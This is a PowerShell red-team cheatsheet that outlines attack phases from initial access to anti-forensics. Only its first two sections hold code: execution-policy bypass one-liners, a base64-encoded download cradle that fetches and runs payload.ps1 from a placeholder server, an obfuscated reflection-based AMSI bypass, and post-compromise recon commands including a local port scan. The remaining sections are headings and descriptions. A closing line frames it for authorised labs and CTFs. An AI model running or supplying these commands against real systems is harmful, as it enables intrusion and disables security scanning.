Powershell Tips and Use Cases

1. Initial Access & Execution Policy Bypass

Use Case: Gaining first code execution on a locked-down endpoint via phishing, drive-by download, or initial compromise vector.

Brief Description: Bypasses Restricted/Unrestricted execution policies, AMSI, ScriptBlock logging, and ETW tracing before any malicious code runs.

# Classic one-liners
powershell -ep bypass -c "..."
powershell -ep bypass -w hidden -nop -c "..."

# Fully encoded + evasion (2025 gold standard)
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://yourserver/payload.ps1")'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $enc

# AMSI + ScriptBlock + ETW + ConstrainedLanguage bypass (one-liner)
$s='S','y','s','t','e','m','.','M','a','n','a','g','e','m','e','n','t','.','A','u','t','o','m','a','t','i','o','n';$a=$s[0..4]-join'';$b=$s[5..19]-join'';[Ref].Assembly.GetType("$a$b.AmsiUtils").GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

2. Situational Awareness / Recon

Use Case: Post-compromise orientation – understand OS version, architecture, network context, running processes, and listening services before deciding next moves.

Brief Description: Fast, native commands that rarely trigger alerts compared to full PowerView/SharpHound runs.

gwmi Win32_OperatingSystem | Select Caption,Version,OSArchitecture,BuildNumber
Get-NetIPConfiguration | ft InterfaceAlias,IPv4Address,IPv6Address,DNSServer -AutoSize
Get-Process | Sort CPU -desc | Select -First 20 Name,Id,CPU,Path
netstat -ano | Select-String "LISTENING"
1..1024 | % {try{$null=(New-Object Net.Sockets.TcpClient).Connect('127.0.0.1',$_);$_}catch{}} | ?{$_}
nltest /domain_trusts /all_trusts

3. Credential Access

Use Case: Harvesting clear-text or reusable credentials to enable lateral movement and privilege escalation.

Brief Description: Modern, in-memory techniques that work on fully patched Windows 10/11 & Server 2022/2025.

4. Persistence

Use Case: Ensuring access is retained after reboots, credential changes, or patching.

Brief Description: Multiple persistence layers (user-land β†’ SYSTEM) with varying detection difficulty.

5. Defence Evasion

Use Case: Preventing or delaying detection by AV/EDR/XDR solutions during all phases.

Brief Description: Up-to-date bypasses for AMSI, ETW, ScriptBlock Logging, Constrained Language Mode, and AppLocker.

6. Reverse Shells

Use Case: Establishing stable C2 callback when initial foothold is limited to PowerShell. Brief Description: From basic TCP to fully encrypted SSL and DNS-tunneled shells.

7. Lateral Movement

Use Case: Pivoting to additional systems using harvested credentials or tokens.

Brief Description: Native Windows protocols and credential reuse techniques.

8. Privilege Escalation Quick Wins

Use Case: Moving from standard user β†’ local admin β†’ SYSTEM or domain admin.

Brief Description: Automated checks + still-working token exploits on modern Windows.

9. Exfiltration

Use Case: Stealing data without triggering DLP or network alerts.

Brief Description: Low-and-slow or covert channel methods.

10. Cleanup / Anti-Forensics

Use Case: Removing evidence of activity before disengaging or when burned.

Brief Description: Clearing logs, histories, and timestamps to frustrate incident response.

The above is perfect for training environments, CTFs, or personal reference. Every section tells you why you’d use it and what it achieves. Keep it close β€” it will serve you well.

Advance and More Comprehensive Use Cases

PowerShell Red Team & Penetration Testing Cheatsheet: Comprehensive Training & Development Workflow – for authorised red teaming, pentesting labs, CTFs, and blue-team countermeasure development only

Recommended Training Progression

  1. Launching & Bypasses β†’ 2. Recon β†’ 3. Cred Access β†’ 4. Evasion β†’ 5. Persistence β†’ 6. Reverse Shells β†’ 7. Advanced API β†’ 8. Build & test detections

Stay legal. Train hard. Detect harder.

Last updated